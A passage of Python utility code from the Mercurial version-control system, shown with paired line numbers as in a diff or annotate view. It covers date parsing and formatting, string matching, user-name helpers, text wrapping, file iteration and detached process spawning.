1838 1850 left -= chunkremaining
1839 1851 queue.popleft()
1840 1852 # offset == 0 is enabled by block above, so this won't merely
1841 1853 # copy via ``chunk[0:]``.
1842 1854 buf.append(chunk[offset:])
1843 1855 self._chunkoffset = 0
1844 1856
1845 1857 # Partial chunk needed.
1846 1858 else:
1847 1859 buf.append(chunk[offset:offset + left])
1848 1860 self._chunkoffset += left
1849 1861 left -= chunkremaining
1850 1862
1851 1863 return ''.join(buf)
1852 1864
1853 1865 def filechunkiter(f, size=131072, limit=None):
1854 1866 """Create a generator that produces the data in the file size
1855 1867 (default 131072) bytes at a time, up to optional limit (default is
1856 1868 to read all data). Chunks may be less than size bytes if the
1857 1869 chunk is the last chunk in the file, or the file is a socket or
1858 1870 some other type of file that sometimes reads less data than is
1859 1871 requested."""
1860 1872 assert size >= 0
1861 1873 assert limit is None or limit >= 0
1862 1874 while True:
1863 1875 if limit is None:
1864 1876 nbytes = size
1865 1877 else:
1866 1878 nbytes = min(limit, size)
1867 1879 s = nbytes and f.read(nbytes)
1868 1880 if not s:
1869 1881 break
1870 1882 if limit:
1871 1883 limit -= len(s)
1872 1884 yield s
1873 1885
1874 1886 def makedate(timestamp=None):
1875 1887 '''Return a unix timestamp (or the current time) as a (unixtime,
1876 1888 offset) tuple based off the local timezone.'''
1877 1889 if timestamp is None:
1878 1890 timestamp = time.time()
1879 1891 if timestamp < 0:
1880 1892 hint = _("check your clock")
1881 1893 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1882 1894 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1883 1895 datetime.datetime.fromtimestamp(timestamp))
1884 1896 tz = delta.days * 86400 + delta.seconds
1885 1897 return timestamp, tz
1886 1898
1887 1899 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1888 1900 """represent a (unixtime, offset) tuple as a localized time.
1889 1901 unixtime is seconds since the epoch, and offset is the time zone's
1890 1902 number of seconds away from UTC.
1891 1903
1892 1904 >>> datestr((0, 0))
1893 1905 'Thu Jan 01 00:00:00 1970 +0000'
1894 1906 >>> datestr((42, 0))
1895 1907 'Thu Jan 01 00:00:42 1970 +0000'
1896 1908 >>> datestr((-42, 0))
1897 1909 'Wed Dec 31 23:59:18 1969 +0000'
1898 1910 >>> datestr((0x7fffffff, 0))
1899 1911 'Tue Jan 19 03:14:07 2038 +0000'
1900 1912 >>> datestr((-0x80000000, 0))
1901 1913 'Fri Dec 13 20:45:52 1901 +0000'
1902 1914 """
1903 1915 t, tz = date or makedate()
1904 1916 if "%1" in format or "%2" in format or "%z" in format:
1905 1917 sign = (tz > 0) and "-" or "+"
1906 1918 minutes = abs(tz) // 60
1907 1919 q, r = divmod(minutes, 60)
1908 1920 format = format.replace("%z", "%1%2")
1909 1921 format = format.replace("%1", "%c%02d" % (sign, q))
1910 1922 format = format.replace("%2", "%02d" % r)
1911 1923 d = t - tz
1912 1924 if d > 0x7fffffff:
1913 1925 d = 0x7fffffff
1914 1926 elif d < -0x80000000:
1915 1927 d = -0x80000000
1916 1928 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1917 1929 # because they use the gmtime() system call which is buggy on Windows
1918 1930 # for negative values.
1919 1931 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1920 1932 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1921 1933 return s
1922 1934
1923 1935 def shortdate(date=None):
1924 1936 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1925 1937 return datestr(date, format='%Y-%m-%d')
1926 1938
1927 1939 def parsetimezone(s):
1928 1940 """find a trailing timezone, if any, in string, and return a
1929 1941 (offset, remainder) pair"""
1930 1942
1931 1943 if s.endswith("GMT") or s.endswith("UTC"):
1932 1944 return 0, s[:-3].rstrip()
1933 1945
1934 1946 # Unix-style timezones [+-]hhmm
1935 1947 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1936 1948 sign = (s[-5] == "+") and 1 or -1
1937 1949 hours = int(s[-4:-2])
1938 1950 minutes = int(s[-2:])
1939 1951 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1940 1952
1941 1953 # ISO8601 trailing Z
1942 1954 if s.endswith("Z") and s[-2:-1].isdigit():
1943 1955 return 0, s[:-1]
1944 1956
1945 1957 # ISO8601-style [+-]hh:mm
1946 1958 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1947 1959 s[-5:-3].isdigit() and s[-2:].isdigit()):
1948 1960 sign = (s[-6] == "+") and 1 or -1
1949 1961 hours = int(s[-5:-3])
1950 1962 minutes = int(s[-2:])
1951 1963 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1952 1964
1953 1965 return None, s
1954 1966
1955 1967 def strdate(string, format, defaults=None):
1956 1968 """parse a localized time string and return a (unixtime, offset) tuple.
1957 1969 if the string cannot be parsed, ValueError is raised."""
1958 1970 if defaults is None:
1959 1971 defaults = {}
1960 1972
1961 1973 # NOTE: unixtime = localunixtime + offset
1962 1974 offset, date = parsetimezone(string)
1963 1975
1964 1976 # add missing elements from defaults
1965 1977 usenow = False # default to using biased defaults
1966 1978 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1967 1979 part = pycompat.bytestr(part)
1968 1980 found = [True for p in part if ("%"+p) in format]
1969 1981 if not found:
1970 1982 date += "@" + defaults[part][usenow]
1971 1983 format += "@%" + part[0]
1972 1984 else:
1973 1985 # We've found a specific time element, less specific time
1974 1986 # elements are relative to today
1975 1987 usenow = True
1976 1988
1977 1989 timetuple = time.strptime(encoding.strfromlocal(date),
1978 1990 encoding.strfromlocal(format))
1979 1991 localunixtime = int(calendar.timegm(timetuple))
1980 1992 if offset is None:
1981 1993 # local timezone
1982 1994 unixtime = int(time.mktime(timetuple))
1983 1995 offset = unixtime - localunixtime
1984 1996 else:
1985 1997 unixtime = localunixtime + offset
1986 1998 return unixtime, offset
1987 1999
1988 2000 def parsedate(date, formats=None, bias=None):
1989 2001 """parse a localized date/time and return a (unixtime, offset) tuple.
1990 2002
1991 2003 The date may be a "unixtime offset" string or in one of the specified
1992 2004 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1993 2005
1994 2006 >>> parsedate(' today ') == parsedate(\
1995 2007 datetime.date.today().strftime('%b %d'))
1996 2008 True
1997 2009 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1998 2010 datetime.timedelta(days=1)\
1999 2011 ).strftime('%b %d'))
2000 2012 True
2001 2013 >>> now, tz = makedate()
2002 2014 >>> strnow, strtz = parsedate('now')
2003 2015 >>> (strnow - now) < 1
2004 2016 True
2005 2017 >>> tz == strtz
2006 2018 True
2007 2019 """
2008 2020 if bias is None:
2009 2021 bias = {}
2010 2022 if not date:
2011 2023 return 0, 0
2012 2024 if isinstance(date, tuple) and len(date) == 2:
2013 2025 return date
2014 2026 if not formats:
2015 2027 formats = defaultdateformats
2016 2028 date = date.strip()
2017 2029
2018 2030 if date == 'now' or date == _('now'):
2019 2031 return makedate()
2020 2032 if date == 'today' or date == _('today'):
2021 2033 date = datetime.date.today().strftime('%b %d')
2022 2034 elif date == 'yesterday' or date == _('yesterday'):
2023 2035 date = (datetime.date.today() -
2024 2036 datetime.timedelta(days=1)).strftime('%b %d')
2025 2037
2026 2038 try:
2027 2039 when, offset = map(int, date.split(' '))
2028 2040 except ValueError:
2029 2041 # fill out defaults
2030 2042 now = makedate()
2031 2043 defaults = {}
2032 2044 for part in ("d", "mb", "yY", "HI", "M", "S"):
2033 2045 # this piece is for rounding the specific end of unknowns
2034 2046 b = bias.get(part)
2035 2047 if b is None:
2036 2048 if part[0:1] in "HMS":
2037 2049 b = "00"
2038 2050 else:
2039 2051 b = "0"
2040 2052
2041 2053 # this piece is for matching the generic end to today's date
2042 2054 n = datestr(now, "%" + part[0:1])
2043 2055
2044 2056 defaults[part] = (b, n)
2045 2057
2046 2058 for format in formats:
2047 2059 try:
2048 2060 when, offset = strdate(date, format, defaults)
2049 2061 except (ValueError, OverflowError):
2050 2062 pass
2051 2063 else:
2052 2064 break
2053 2065 else:
2054 2066 raise error.ParseError(_('invalid date: %r') % date)
2055 2067 # validate explicit (probably user-specified) date and
2056 2068 # time zone offset. values must fit in signed 32 bits for
2057 2069 # current 32-bit linux runtimes. timezones go from UTC-12
2058 2070 # to UTC+14
2059 2071 if when < -0x80000000 or when > 0x7fffffff:
2060 2072 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2061 2073 if offset < -50400 or offset > 43200:
2062 2074 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2063 2075 return when, offset
2064 2076
2065 2077 def matchdate(date):
2066 2078 """Return a function that matches a given date match specifier
2067 2079
2068 2080 Formats include:
2069 2081
2070 2082 '{date}' match a given date to the accuracy provided
2071 2083
2072 2084 '<{date}' on or before a given date
2073 2085
2074 2086 '>{date}' on or after a given date
2075 2087
2076 2088 >>> p1 = parsedate("10:29:59")
2077 2089 >>> p2 = parsedate("10:30:00")
2078 2090 >>> p3 = parsedate("10:30:59")
2079 2091 >>> p4 = parsedate("10:31:00")
2080 2092 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2081 2093 >>> f = matchdate("10:30")
2082 2094 >>> f(p1[0])
2083 2095 False
2084 2096 >>> f(p2[0])
2085 2097 True
2086 2098 >>> f(p3[0])
2087 2099 True
2088 2100 >>> f(p4[0])
2089 2101 False
2090 2102 >>> f(p5[0])
2091 2103 False
2092 2104 """
2093 2105
2094 2106 def lower(date):
2095 2107 d = {'mb': "1", 'd': "1"}
2096 2108 return parsedate(date, extendeddateformats, d)[0]
2097 2109
2098 2110 def upper(date):
2099 2111 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2100 2112 for days in ("31", "30", "29"):
2101 2113 try:
2102 2114 d["d"] = days
2103 2115 return parsedate(date, extendeddateformats, d)[0]
2104 2116 except Abort:
2105 2117 pass
2106 2118 d["d"] = "28"
2107 2119 return parsedate(date, extendeddateformats, d)[0]
2108 2120
2109 2121 date = date.strip()
2110 2122
2111 2123 if not date:
2112 2124 raise Abort(_("dates cannot consist entirely of whitespace"))
2113 2125 elif date[0] == "<":
2114 2126 if not date[1:]:
2115 2127 raise Abort(_("invalid day spec, use '<DATE'"))
2116 2128 when = upper(date[1:])
2117 2129 return lambda x: x <= when
2118 2130 elif date[0] == ">":
2119 2131 if not date[1:]:
2120 2132 raise Abort(_("invalid day spec, use '>DATE'"))
2121 2133 when = lower(date[1:])
2122 2134 return lambda x: x >= when
2123 2135 elif date[0] == "-":
2124 2136 try:
2125 2137 days = int(date[1:])
2126 2138 except ValueError:
2127 2139 raise Abort(_("invalid day spec: %s") % date[1:])
2128 2140 if days < 0:
2129 2141 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2130 2142 % date[1:])
2131 2143 when = makedate()[0] - days * 3600 * 24
2132 2144 return lambda x: x >= when
2133 2145 elif " to " in date:
2134 2146 a, b = date.split(" to ")
2135 2147 start, stop = lower(a), upper(b)
2136 2148 return lambda x: x >= start and x <= stop
2137 2149 else:
2138 2150 start, stop = lower(date), upper(date)
2139 2151 return lambda x: x >= start and x <= stop
2140 2152
2141 2153 def stringmatcher(pattern, casesensitive=True):
2142 2154 """
2143 2155 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2144 2156 returns the matcher name, pattern, and matcher function.
2145 2157 missing or unknown prefixes are treated as literal matches.
2146 2158
2147 2159 helper for tests:
2148 2160 >>> def test(pattern, *tests):
2149 2161 ... kind, pattern, matcher = stringmatcher(pattern)
2150 2162 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2151 2163 >>> def itest(pattern, *tests):
2152 2164 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2153 2165 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2154 2166
2155 2167 exact matching (no prefix):
2156 2168 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2157 2169 ('literal', 'abcdefg', [False, False, True])
2158 2170
2159 2171 regex matching ('re:' prefix)
2160 2172 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2161 2173 ('re', 'a.+b', [False, False, True])
2162 2174
2163 2175 force exact matches ('literal:' prefix)
2164 2176 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2165 2177 ('literal', 're:foobar', [False, True])
2166 2178
2167 2179 unknown prefixes are ignored and treated as literals
2168 2180 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2169 2181 ('literal', 'foo:bar', [False, False, True])
2170 2182
2171 2183 case insensitive regex matches
2172 2184 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2173 2185 ('re', 'A.+b', [False, False, True])
2174 2186
2175 2187 case insensitive literal matches
2176 2188 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2177 2189 ('literal', 'ABCDEFG', [False, False, True])
2178 2190 """
2179 2191 if pattern.startswith('re:'):
2180 2192 pattern = pattern[3:]
2181 2193 try:
2182 2194 flags = 0
2183 2195 if not casesensitive:
2184 2196 flags = remod.I
2185 2197 regex = remod.compile(pattern, flags)
2186 2198 except remod.error as e:
2187 2199 raise error.ParseError(_('invalid regular expression: %s')
2188 2200 % e)
2189 2201 return 're', pattern, regex.search
2190 2202 elif pattern.startswith('literal:'):
2191 2203 pattern = pattern[8:]
2192 2204
2193 2205 match = pattern.__eq__
2194 2206
2195 2207 if not casesensitive:
2196 2208 ipat = encoding.lower(pattern)
2197 2209 match = lambda s: ipat == encoding.lower(s)
2198 2210 return 'literal', pattern, match
2199 2211
2200 2212 def shortuser(user):
2201 2213 """Return a short representation of a user name or email address."""
2202 2214 f = user.find('@')
2203 2215 if f >= 0:
2204 2216 user = user[:f]
2205 2217 f = user.find('<')
2206 2218 if f >= 0:
2207 2219 user = user[f + 1:]
2208 2220 f = user.find(' ')
2209 2221 if f >= 0:
2210 2222 user = user[:f]
2211 2223 f = user.find('.')
2212 2224 if f >= 0:
2213 2225 user = user[:f]
2214 2226 return user
2215 2227
2216 2228 def emailuser(user):
2217 2229 """Return the user portion of an email address."""
2218 2230 f = user.find('@')
2219 2231 if f >= 0:
2220 2232 user = user[:f]
2221 2233 f = user.find('<')
2222 2234 if f >= 0:
2223 2235 user = user[f + 1:]
2224 2236 return user
2225 2237
2226 2238 def email(author):
2227 2239 '''get email of author.'''
2228 2240 r = author.find('>')
2229 2241 if r == -1:
2230 2242 r = None
2231 2243 return author[author.find('<') + 1:r]
2232 2244
2233 2245 def ellipsis(text, maxlength=400):
2234 2246 """Trim string to at most maxlength (default: 400) columns in display."""
2235 2247 return encoding.trim(text, maxlength, ellipsis='...')
2236 2248
2237 2249 def unitcountfn(*unittable):
2238 2250 '''return a function that renders a readable count of some quantity'''
2239 2251
2240 2252 def go(count):
2241 2253 for multiplier, divisor, format in unittable:
2242 2254 if abs(count) >= divisor * multiplier:
2243 2255 return format % (count / float(divisor))
2244 2256 return unittable[-1][2] % count
2245 2257
2246 2258 return go
2247 2259
2248 2260 def processlinerange(fromline, toline):
2249 2261 """Check that linerange <fromline>:<toline> makes sense and return a
2250 2262 0-based range.
2251 2263
2252 2264 >>> processlinerange(10, 20)
2253 2265 (9, 20)
2254 2266 >>> processlinerange(2, 1)
2255 2267 Traceback (most recent call last):
2256 2268 ...
2257 2269 ParseError: line range must be positive
2258 2270 >>> processlinerange(0, 5)
2259 2271 Traceback (most recent call last):
2260 2272 ...
2261 2273 ParseError: fromline must be strictly positive
2262 2274 """
2263 2275 if toline - fromline < 0:
2264 2276 raise error.ParseError(_("line range must be positive"))
2265 2277 if fromline < 1:
2266 2278 raise error.ParseError(_("fromline must be strictly positive"))
2267 2279 return fromline - 1, toline
2268 2280
2269 2281 bytecount = unitcountfn(
2270 2282 (100, 1 << 30, _('%.0f GB')),
2271 2283 (10, 1 << 30, _('%.1f GB')),
2272 2284 (1, 1 << 30, _('%.2f GB')),
2273 2285 (100, 1 << 20, _('%.0f MB')),
2274 2286 (10, 1 << 20, _('%.1f MB')),
2275 2287 (1, 1 << 20, _('%.2f MB')),
2276 2288 (100, 1 << 10, _('%.0f KB')),
2277 2289 (10, 1 << 10, _('%.1f KB')),
2278 2290 (1, 1 << 10, _('%.2f KB')),
2279 2291 (1, 1, _('%.0f bytes')),
2280 2292 )
2281 2293
2282 2294 # Matches a single EOL which can either be a CRLF where repeated CR
2283 2295 # are removed or a LF. We do not care about old Macintosh files, so a
2284 2296 # stray CR is an error.
2285 2297 _eolre = remod.compile(br'\r*\n')
2286 2298
2287 2299 def tolf(s):
2288 2300 return _eolre.sub('\n', s)
2289 2301
2290 2302 def tocrlf(s):
2291 2303 return _eolre.sub('\r\n', s)
2292 2304
2293 2305 if pycompat.oslinesep == '\r\n':
2294 2306 tonativeeol = tocrlf
2295 2307 fromnativeeol = tolf
2296 2308 else:
2297 2309 tonativeeol = pycompat.identity
2298 2310 fromnativeeol = pycompat.identity
2299 2311
2300 2312 def escapestr(s):
2301 2313 # call underlying function of s.encode('string_escape') directly for
2302 2314 # Python 3 compatibility
2303 2315 return codecs.escape_encode(s)[0]
2304 2316
2305 2317 def unescapestr(s):
2306 2318 return codecs.escape_decode(s)[0]
2307 2319
2308 2320 def forcebytestr(obj):
2309 2321 """Portably format an arbitrary object (e.g. exception) into a byte
2310 2322 string."""
2311 2323 try:
2312 2324 return pycompat.bytestr(obj)
2313 2325 except UnicodeEncodeError:
2314 2326 # non-ascii string, may be lossy
2315 2327 return pycompat.bytestr(encoding.strtolocal(str(obj)))
2316 2328
2317 2329 def uirepr(s):
2318 2330 # Avoid double backslash in Windows path repr()
2319 2331 return repr(s).replace('\\\\', '\\')
2320 2332
2321 2333 # delay import of textwrap
2322 2334 def MBTextWrapper(**kwargs):
2323 2335 class tw(textwrap.TextWrapper):
2324 2336 """
2325 2337 Extend TextWrapper for width-awareness.
2326 2338
2327 2339 Neither number of 'bytes' in any encoding nor 'characters' is
2328 2340 appropriate to calculate terminal columns for specified string.
2329 2341
2330 2342 Original TextWrapper implementation uses built-in 'len()' directly,
2331 2343 so overriding is needed to use width information of each characters.
2332 2344
2333 2345 In addition, characters classified into 'ambiguous' width are
2334 2346 treated as wide in East Asian area, but as narrow in other.
2335 2347
2336 2348 This requires use decision to determine width of such characters.
2337 2349 """
2338 2350 def _cutdown(self, ucstr, space_left):
2339 2351 l = 0
2340 2352 colwidth = encoding.ucolwidth
2341 2353 for i in xrange(len(ucstr)):
2342 2354 l += colwidth(ucstr[i])
2343 2355 if space_left < l:
2344 2356 return (ucstr[:i], ucstr[i:])
2345 2357 return ucstr, ''
2346 2358
2347 2359 # overriding of base class
2348 2360 def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
2349 2361 space_left = max(width - cur_len, 1)
2350 2362
2351 2363 if self.break_long_words:
2352 2364 cut, res = self._cutdown(reversed_chunks[-1], space_left)
2353 2365 cur_line.append(cut)
2354 2366 reversed_chunks[-1] = res
2355 2367 elif not cur_line:
2356 2368 cur_line.append(reversed_chunks.pop())
2357 2369
2358 2370 # this overriding code is imported from TextWrapper of Python 2.6
2359 2371 # to calculate columns of string by 'encoding.ucolwidth()'
2360 2372 def _wrap_chunks(self, chunks):
2361 2373 colwidth = encoding.ucolwidth
2362 2374
2363 2375 lines = []
2364 2376 if self.width <= 0:
2365 2377 raise ValueError("invalid width %r (must be > 0)" % self.width)
2366 2378
2367 2379 # Arrange in reverse order so items can be efficiently popped
2368 2380 # from a stack of chucks.
2369 2381 chunks.reverse()
2370 2382
2371 2383 while chunks:
2372 2384
2373 2385 # Start the list of chunks that will make up the current line.
2374 2386 # cur_len is just the length of all the chunks in cur_line.
2375 2387 cur_line = []
2376 2388 cur_len = 0
2377 2389
2378 2390 # Figure out which static string will prefix this line.
2379 2391 if lines:
2380 2392 indent = self.subsequent_indent
2381 2393 else:
2382 2394 indent = self.initial_indent
2383 2395
2384 2396 # Maximum width for this line.
2385 2397 width = self.width - len(indent)
2386 2398
2387 2399 # First chunk on line is whitespace -- drop it, unless this
2388 2400 # is the very beginning of the text (i.e. no lines started yet).
2389 2401 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
2390 2402 del chunks[-1]
2391 2403
2392 2404 while chunks:
2393 2405 l = colwidth(chunks[-1])
2394 2406
2395 2407 # Can at least squeeze this chunk onto the current line.
2396 2408 if cur_len + l <= width:
2397 2409 cur_line.append(chunks.pop())
2398 2410 cur_len += l
2399 2411
2400 2412 # Nope, this line is full.
2401 2413 else:
2402 2414 break
2403 2415
2404 2416 # The current line is full, and the next chunk is too big to
2405 2417 # fit on *any* line (not just this one).
2406 2418 if chunks and colwidth(chunks[-1]) > width:
2407 2419 self._handle_long_word(chunks, cur_line, cur_len, width)
2408 2420
2409 2421 # If the last chunk on this line is all whitespace, drop it.
2410 2422 if (self.drop_whitespace and
2411 2423 cur_line and cur_line[-1].strip() == r''):
2412 2424 del cur_line[-1]
2413 2425
2414 2426 # Convert current line back to a string and store it in list
2415 2427 # of all lines (return value).
2416 2428 if cur_line:
2417 2429 lines.append(indent + r''.join(cur_line))
2418 2430
2419 2431 return lines
2420 2432
2421 2433 global MBTextWrapper
2422 2434 MBTextWrapper = tw
2423 2435 return tw(**kwargs)
2424 2436
2425 2437 def wrap(line, width, initindent='', hangindent=''):
2426 2438 maxindent = max(len(hangindent), len(initindent))
2427 2439 if width <= maxindent:
2428 2440 # adjust for weird terminal size
2429 2441 width = max(78, maxindent + 1)
2430 2442 line = line.decode(pycompat.sysstr(encoding.encoding),
2431 2443 pycompat.sysstr(encoding.encodingmode))
2432 2444 initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
2433 2445 pycompat.sysstr(encoding.encodingmode))
2434 2446 hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
2435 2447 pycompat.sysstr(encoding.encodingmode))
2436 2448 wrapper = MBTextWrapper(width=width,
2437 2449 initial_indent=initindent,
2438 2450 subsequent_indent=hangindent)
2439 2451 return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
2440 2452
2441 2453 if (pyplatform.python_implementation() == 'CPython' and
2442 2454 sys.version_info < (3, 0)):
2443 2455 # There is an issue in CPython that some IO methods do not handle EINTR
2444 2456 # correctly. The following table shows what CPython version (and functions)
2445 2457 # are affected (buggy: has the EINTR bug, okay: otherwise):
2446 2458 #
2447 2459 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2448 2460 # --------------------------------------------------
2449 2461 # fp.__iter__ | buggy | buggy | okay
2450 2462 # fp.read* | buggy | okay [1] | okay
2451 2463 #
2452 2464 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2453 2465 #
2454 2466 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2455 2467 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2456 2468 #
2457 2469 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2458 2470 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2459 2471 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2460 2472 # fp.__iter__ but not other fp.read* methods.
2461 2473 #
2462 2474 # On modern systems like Linux, the "read" syscall cannot be interrupted
2463 2475 # when reading "fast" files like on-disk files. So the EINTR issue only
2464 2476 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2465 2477 # files approximately as "fast" files and use the fast (unsafe) code path,
2466 2478 # to minimize the performance impact.
2467 2479 if sys.version_info >= (2, 7, 4):
2468 2480 # fp.readline deals with EINTR correctly, use it as a workaround.
2469 2481 def _safeiterfile(fp):
2470 2482 return iter(fp.readline, '')
2471 2483 else:
2472 2484 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2473 2485 # note: this may block longer than necessary because of bufsize.
2474 2486 def _safeiterfile(fp, bufsize=4096):
2475 2487 fd = fp.fileno()
2476 2488 line = ''
2477 2489 while True:
2478 2490 try:
2479 2491 buf = os.read(fd, bufsize)
2480 2492 except OSError as ex:
2481 2493 # os.read only raises EINTR before any data is read
2482 2494 if ex.errno == errno.EINTR:
2483 2495 continue
2484 2496 else:
2485 2497 raise
2486 2498 line += buf
2487 2499 if '\n' in buf:
2488 2500 splitted = line.splitlines(True)
2489 2501 line = ''
2490 2502 for l in splitted:
2491 2503 if l[-1] == '\n':
2492 2504 yield l
2493 2505 else:
2494 2506 line = l
2495 2507 if not buf:
2496 2508 break
2497 2509 if line:
2498 2510 yield line
2499 2511
2500 2512 def iterfile(fp):
2501 2513 fastpath = True
2502 2514 if type(fp) is file:
2503 2515 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2504 2516 if fastpath:
2505 2517 return fp
2506 2518 else:
2507 2519 return _safeiterfile(fp)
2508 2520 else:
2509 2521 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2510 2522 def iterfile(fp):
2511 2523 return fp
2512 2524
2513 2525 def iterlines(iterator):
2514 2526 for chunk in iterator:
2515 2527 for line in chunk.splitlines():
2516 2528 yield line
2517 2529
2518 2530 def expandpath(path):
2519 2531 return os.path.expanduser(os.path.expandvars(path))
2520 2532
2521 2533 def hgcmd():
2522 2534 """Return the command used to execute current hg
2523 2535
2524 2536 This is different from hgexecutable() because on Windows we want
2525 2537 to avoid things opening new shell windows like batch files, so we
2526 2538 get either the python call or current executable.
2527 2539 """
2528 2540 if mainfrozen():
2529 2541 if getattr(sys, 'frozen', None) == 'macosx_app':
2530 2542 # Env variable set by py2app
2531 2543 return [encoding.environ['EXECUTABLEPATH']]
2532 2544 else:
2533 2545 return [pycompat.sysexecutable]
2534 2546 return gethgcmd()
2535 2547
2536 2548 def rundetached(args, condfn):
2537 2549 """Execute the argument list in a detached process.
2538 2550
2539 2551 condfn is a callable which is called repeatedly and should return
2540 2552 True once the child process is known to have started successfully.
2541 2553 At this point, the child process PID is returned. If the child
2542 2554 process fails to start or finishes before condfn() evaluates to
2543 2555 True, return -1.
2544 2556 """
2545 2557 # Windows case is easier because the child process is either
2546 2558 # successfully starting and validating the condition or exiting
2547 2559 # on failure. We just poll on its PID. On Unix, if the child
2548 2560 # process fails to start, it will be left in a zombie state until
2549 2561 # the parent wait on it, which we cannot do since we expect a long
2550 2562 # running process on success. Instead we listen for SIGCHLD telling
2551 2563 # us our child process terminated.
2552 2564 terminated = set()
2553 2565 def handler(signum, frame):
2554 2566 terminated.add(os.wait())
2555 2567 prevhandler = None
2556 2568 SIGCHLD = getattr(signal, 'SIGCHLD', None)
2557 2569 if SIGCHLD is not None:
2558 2570 prevhandler = signal.signal(SIGCHLD, handler)
2559 2571 try:
2560 2572 pid = spawndetached(args)
2561 2573 while not condfn():
2562 2574 if ((pid in terminated or not testpid(pid))
2563 2575 and not condfn()):
2564 2576 return -1
2565 2577 time.sleep(0.1)
2566 2578 return pid
2567 2579 finally:
2568 2580 if prevhandler is not None:
2569 2581 signal.signal(signal.SIGCHLD, prevhandler)
2570 2582
2571 2583 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2572 2584 """Return the result of interpolating items in the mapping into string s.
2573 2585
2574 2586 prefix is a single character string, or a two character string with
2575 2587 a backslash as the first character if the prefix needs to be escaped in
2576 2588 a regular expression.
2577 2589
2578 2590 fn is an optional function that will be applied to the replacement text
2579 2591 just before replacement.
2580 2592
2581 2593 escape_prefix is an optional flag that allows using doubled prefix for
2582 2594 its escaping.
2583 2595 """
2584 2596 fn = fn or (lambda s: s)
2585 2597 patterns = '|'.join(mapping.keys())
2586 2598 if escape_prefix:
2587 2599 patterns += '|' + prefix
2588 2600 if len(prefix) > 1:
2589 2601 prefix_char = prefix[1:]
2590 2602 else:
2591 2603 prefix_char = prefix
2592 2604 mapping[prefix_char] = prefix_char
2593 2605 r = remod.compile(r'%s(%s)' % (prefix, patterns))
2594 2606 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2595 2607
2596 2608 def getport(port):
2597 2609 """Return the port for a given network service.
2598 2610
2599 2611 If port is an integer, it's returned as is. If it's a string, it's
2600 2612 looked up using socket.getservbyname(). If there's no matching
2601 2613 service, error.Abort is raised.
2602 2614 """
2603 2615 try:
2604 2616 return int(port)
2605 2617 except ValueError:
2606 2618 pass
2607 2619
2608 2620 try:
2609 2621 return socket.getservbyname(port)
2610 2622 except socket.error:
2611 2623 raise Abort(_("no port number associated with service '%s'") % port)
2612 2624
2613 2625 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2614 2626 '0': False, 'no': False, 'false': False, 'off': False,
2615 2627 'never': False}
2616 2628
2617 2629 def parsebool(s):
2618 2630 """Parse s into a boolean.
2619 2631
2620 2632 If s is not a valid boolean, returns None.
2621 2633 """
2622 2634 return _booleans.get(s.lower(), None)
2623 2635
2624 2636 _hextochr = dict((a + b, chr(int(a + b, 16)))
2625 2637 for a in string.hexdigits for b in string.hexdigits)
2626 2638
2627 2639 class url(object):
2628 2640 r"""Reliable URL parser.
2629 2641
2630 2642 This parses URLs and provides attributes for the following
2631 2643 components:
2632 2644
2633 2645 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2634 2646
2635 2647 Missing components are set to None. The only exception is
2636 2648 fragment, which is set to '' if present but empty.
2637 2649
2638 2650 If parsefragment is False, fragment is included in query. If
2639 2651 parsequery is False, query is included in path. If both are
2640 2652 False, both fragment and query are included in path.
2641 2653
2642 2654 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2643 2655
2644 2656 Note that for backward compatibility reasons, bundle URLs do not
2645 2657 take host names. That means 'bundle://../' has a path of '../'.
2646 2658
2647 2659 Examples:
2648 2660
2649 2661 >>> url('http://www.ietf.org/rfc/rfc2396.txt')
2650 2662 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
